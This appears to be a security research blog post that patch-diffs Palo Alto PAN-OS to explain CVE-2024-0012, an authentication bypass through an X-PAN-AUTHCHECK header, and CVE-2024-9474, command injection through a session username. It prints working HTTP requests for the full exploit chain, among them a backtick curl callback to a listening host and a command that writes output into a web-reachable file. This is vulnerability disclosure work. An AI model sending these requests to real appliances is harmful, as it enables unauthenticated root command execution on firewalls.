Pots and Pans, AKA an SSLVPN – Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474

# Pots and Pans, AKA an SSLVPN – Palo Alto PAN-OS CVE-2024-0012 and CVE-2024-9474

Threat actors just love popping those SSLVPN appliances. There’s a new bug (well, two of them) that’re being exploited in the Palo Alto offering, and as ever, we’re here to locate it and give you the low-down on what’s happening. Here’s a quick teaser to whet your appetite:

Analysing bugs under active exploitation is more than a requirement at watchTowr, its a passion, and a calling. We are no strangers to reviewing SSLVPN’s and Firewalls, particularly Palo Alto – which we raced to analyse earlier this year when we dropped the pre-authenticated command injection **CVE-2024-3400.**

Over the last few weeks, we’ve been closely monitoring a new bug, teased at various different phases. It started off as an ‘informational disclosure’, a whiff of a rumour of a critical vulnerability, reachable from the device’s its management interface.

Kudos to Palo Alto for warning its customers of a potential bug before confirming it, and releasing patches as soon as possible. The general security posture of the device is such that mitigations were in place to restrict access to the management interface via a strict ruleset of IP whitelisting.

After a while, the rumour turned into an incremental advisory, arriving complete with indicators of compromise (such as IP addresses and webshell hashes), and then the ‘bomb dropped’ on Monday when the official advisory for **CVE-2024-0012** and **CVE-2024-9474** were announced.

This is a pair of bugs are described as an ‘Authentication Bypass in the Management Web Interface’ and a ‘Privilege Escalation‘ respectively, strongly suggesting they are used as a chain to gain superuser access, a pattern that we’ve seen before with Palo Alto appliances. Before we’ve even dived into to code, we’ve already ascertained that we’re looking for a chain of vulnerabilities to achieve that coveted pre-authenticated Remote Code Execution.

With the patches released, it is time to go diffing for that gold! By looking at a pre-patched `10.2.12-h1` and a patched `10.2.12-h2` of ‘Palo Alto VM-Series Next-Gen Virtual Firewall w/Advanced Threat Prevention.’

We won’t go through jail breaking the appliance – this has been covered in detail by various sources, so we’re just going to assume that the motivated reader has already performed this step.

Instead, we start our journey by learning the structure and flow of data within the appliance’s management interface. Buckle up as we relay what we’ve learned

The main application is of the _absolutely stellar_ PHP language, and resides on an Apache server fronted by an Nginx configuration.

The server is rife with PHP scripts, residing within the `/var/appweb/htdocs/` directory. However, when trying to access these scripts from a web browser, we’re met with a redirect to the login page . We spent some time looking through the nginx, Apache, and PHP scripts to figure out why this is, but after a lot of effort we discovered the entry point to the PHP application is actually intended to be another, _totally different_ PHP script. Take a look at this gem of a hack in the `php.ini` file:

“`
auto_prepend_file = uiEnvSetup.php ; PAN-MODIFIED
“`

Looking through the `uiEnvSetup.php` we can see the script that’s performing the redirect:

“`
if ( $_SERVER[‘HTTP_X_PAN_AUTHCHECK’] != ‘off’ && $_SERVER[‘PHP_SELF’] !== ‘/CA/ocsp’ && $_SERVER[‘PHP_SELF’] !== ‘/php/login.php’ && stristr($_SERVER[‘REMOTE_HOST’], ‘127.0.0.1’) === false ) { $_SERVER[‘PAN_SESSION_READONLY’] = true; $ws = WebSession::getInstance($ioc); $ws->start(); $ws->close(); // these are horrible hacks. // This whole code should be removed and only make available to a few pages: main, debug, etc. if ( !Str::startsWith($_SERVER[‘PHP_SELF’], ‘/php-packages/panorama_webui/php/api/index.php’) && !Str::startsWith($_SERVER[‘PHP_SELF’], ‘/php-packages/firewall_webui/php/api/index.php’) ) { if (Backend::quickSessionExpiredCheck()) { if (isset($_SERVER[‘QUERY_STRING’])) { Util::login($_SERVER[‘QUERY_STRING’]); } else { Util::login(); } exit(1); } } }
“`

As you can see above, there is a check for the HTTP header `HTTP_X_PAN_AUTHCHECK` value for the value `off`. Initially, seeing this, we thought we could just inject `X-Pan-Authcheck: off` to disable authentication entirely – but, as ever, life is not that simple.

The barrier to entry here is the nginx configuration, wherein this `X-Pan-Authcheck` header is set by default to `on` via the `etc/nginx/conf/proxy_default.conf` file:

“`
# default proxy request header setting proxy_set_header Host $host; proxy_set_header X-Real-IP $remote_addr; proxy_set_header X-Real-Scheme $scheme; proxy_set_header X-Real-Port $server_port; proxy_set_header X-Real-Server-IP $server_addr; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-pan-ndpp-mode $pan_ndpp_mode; proxy_set_header Proxy “”; proxy_set_header X-pan-AuthCheck $panAuthCheck; proxy_max_temp_file_size 0;
“`

Interestingly, there is a limited number of scripts that can be reached anyway, where nginx directives are used to set the header to `off`, disabling authentication. For example, the `/unauth/` dir, which (as you’d expect) requires no auth.

“`
if ($uri ~ ^\/unauth\/.+$) { set $panAuthCheck ‘off’; }
“`

Before diffing, we had spent some time in here looking for easy bugs, but nothing came to light straight away. Time to patchdiff!

Fortunately, there is only a small variation change between `10.2.12-h1` and `10.2.12-h2` , only a 5MB difference in size – how hard could it be?

Like most diffing adventures, we mounted the `vdmk`’s to an Ubuntu instance and extracted the whole file system; after hours looking, no difference could be discovered, mysteriously.

Not accepting this possibility that the patch was somehow invisible to the naked eye, we had an idea. Having spent some time recently diving through FortiManager’s file system, which holds the root filesystem in memory, as opposed to on disk. Could it be Palo Alto have a similar setup, but with their patch process? Could it be that the patch is applied at boot-time, every time the appliance is started?

After booting up each of the respective versions and jailbreaking them, we began painfully extracting the file system using SCP.

Whilst there was not a significant change, there was enough to get our noses pointing in the direction.

# Phase 1 – Authentication Bypass – CVE-2024-0012

Looking at the nginx config – `etc/nginx/conf/locations.conf` – reveals quite a limited (yet impactful) change:

The right-hand side is the new version and the left-hand side is the old version. It doesn’t look like much, but there’s enough for us to deduce the entry point to CVE-2024-0012**.**

What does this tell us? well:

– At the start of the nginx config, new request headers are set.
– Most importantly, `X-pan-AuthCheck` is set to `on`.
– `conf/proxy_default.conf` has been added to the `.js.map` location directive

Doing some quick deductions, it looks like the authentication header wasn’t correctly set by nginx, previously, specifically within the `.js.map` directive?

Could the `.js.map` be abused in some way to get us access? We quickly blasted variations to see if any would allow us through, for example:

“`
/php/ztp_gate.php%3f.js.map /php/ztp_gate.php?.js.map /php/ztp_gate.php#.js.map /php/ztp_gate.php/.js.map
“`

None of which worked until a bright light came on over our heads. The `uiEnvSetup.php` is expecting the `HTTP_X_PAN_AUTHCHECK` value to be set to `off`, something which was blocked by nginx previously. Ho ho ho, guess who got an early present with a particular variation:

“`
GET /php/ztp_gate.php/.js.map HTTP/1.1 Host: {{Hostname}} X-PAN-AUTHCHECK: off
“`

We simply… supply the `off` value to header, and the server helpfully turns off authentication?! lawl.

That’s right folks, a simple reproducer for **CVE-2024-0012,** on to phase 2.

# Phase 2 – Privilege Escalation – CVE-2024-9474

Now the floodgates are open, and there are all sorts of post-authentication PHP scripts now within our grasp. Typically from this point, it’s down to our creativity to find the next step to RCE. Let’s take a look at what the threat actors found by continuing our diff.

One file that stood out to us like a sore thumb is the differential change in `/var/appweb/htdocs/php-packages/panui_core/src/log/AuditLog.php` , which reveals a quite honest command injection:

It couldn’t be more straightforward than this. Somehow a user is able to pass a username containing shell metacharacters into the `AuditLog.write()` function, which then passes its value to `pexecute()` .

Looking at other changes, we discovered a file with quite a large change – `/var/appweb/htdocs/php/utils/createRemoteAppwebSession.php`.

When first looking at this, its quite clear the request is instantiating a session with arbitrary values passed in the POST body. What threw us off for a moment was the differential used on the patch. These values are still collected from the POST body but have had length checks which suggest some kind of memory corruption to us.

Fret not – we decided to proceed and created a username containing a simple `curl` command to our external listening host:

“`
POST /php/utils/createRemoteAppwebSession.php/aaaa.js.map HTTP/1.1 Host: {{Hostname}} X-PAN-AUTHCHECK: off Content-Type: application/x-www-form-urlencoded Content-Length: 99 user=`curl {{listening-host}}`&userRole=superuser&remoteHost=&vsys=vsys1
“`

This returns us a nice PHP session ID value:

“`
HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 09:06:44 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 48 Connection: keep-alive Set-Cookie: PHPSESSID=isbhbjpdkhvmkhio0hcpsgmtk6; path=/; HttpOnly Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Cache-Control: no-cache; no-store @start@PHPSESSID=isbhbjpdkhvmkhio0hcpsgmtk6@end@
“`

A quick look at the file system shows our payload is sitting tight within the session’s value:

“`
[root@PA-VM /]# cat ./opt/pancfg/mgmt/phpsessions/sess_isbhbjpdkhvmkhio0hcpsgmtk6 cmsRemoteSession|s:1:”1″;panorama_sessionid|s:5:”dummy”;user|s:16:”XXXX”;userName|s:52:”`curl {{listening-host}}`”;userRole|s:9:”superuser”
“`

We’d like to be honest here and give the complete trace down of where this bug actually is, source-to-sink but, well, sometimes you just need to use a sledgehammer instead of tweezers. With our payload injected into the username, we set out to blast all endpoints with our shiny `PHPSESSID` .

Doing this, we quickly saw a callback to our external server via none other than `index.php` … that’s right folks, this is command injection in a Next Generation Firewall…

“`
GET /index.php/.js.map HTTP/1.1 Host: {{Hostname}} Cookie: PHPSESSID=2jq4l1nv43idudknmhj830vdde; X-PAN-AUTHCHECK: off Connection: keep-alive
“`

The command under the hood looks a little like this (thanks **pspy**!):

“`
CMD: UID=0 PID=87502 | sh -c export panusername=”`curl {{listening-host}}`”;export superuser=”1″;export isxml=”yes”;/usr/local/bin/sdb -e -n ha.app.local.state
“`

So the full chain looks something quite like this:

“`
POST /php/utils/createRemoteAppwebSession.php/watchTowr.js.map HTTP/1.1 Host: {{Hostname}} X-PAN-AUTHCHECK: off Content-Type: application/x-www-form-urlencoded Content-Length: 107 user=`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`&userRole=superuser&remoteHost=&vsys=vsys1
“`

“`
GET /index.php/.js.map HTTP/1.1 Host: {{Hostname}} Cookie: PHPSESSID=2qe3kouhjdm8317f6vmueh1m8n; X-PAN-AUTHCHECK: off Connection: keep-alive
“`

“`
GET /unauth/watchTowr.php HTTP/1.1 Host: 192.168.1.227 Cookie: PHPSESSID=fvepfik7vrmvdlkns30rgpn1jb; X-PAN-AUTHCHECK: off Connection: keep-alive
“`

resulting in a lovely command injection:

“`
HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 09:39:17 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 108 Connection: keep-alive Allow: GET, HEAD, POST, PUT, DELETE, OPTIONS Linux PA-VM 4.18.0-240.1.1.20.pan.x86_64 #1 SMP Wed Jul 31 20:37:12 PDT 2024 x86_64 x86_64 x86_64 GNU/Linux
“`

### Summary

So, yet another super-duper secure next-generation hardened security appliance popped. This time it’s due to those pesky backticks, combined with the super-complicated step of simply asking the server not to check our authentication via `X-PAN-AUTHCHECK`.

It’s amazing that these two bugs got into a production appliance, amazingly allowed via the hacked-together mass of shell script invokations that lurk under hood of the the Palo Alto appliance.

Usual readers might be expecting a nice PoC, and while we’d love to provide one, we’re holding off on this one for a week or so to allow administrators time to patch – but instead, we’re releasing a template that you can use to check if your hosts are affected. It can be found here.

Leave a Reply

Your email address will not be published. Required fields are marked *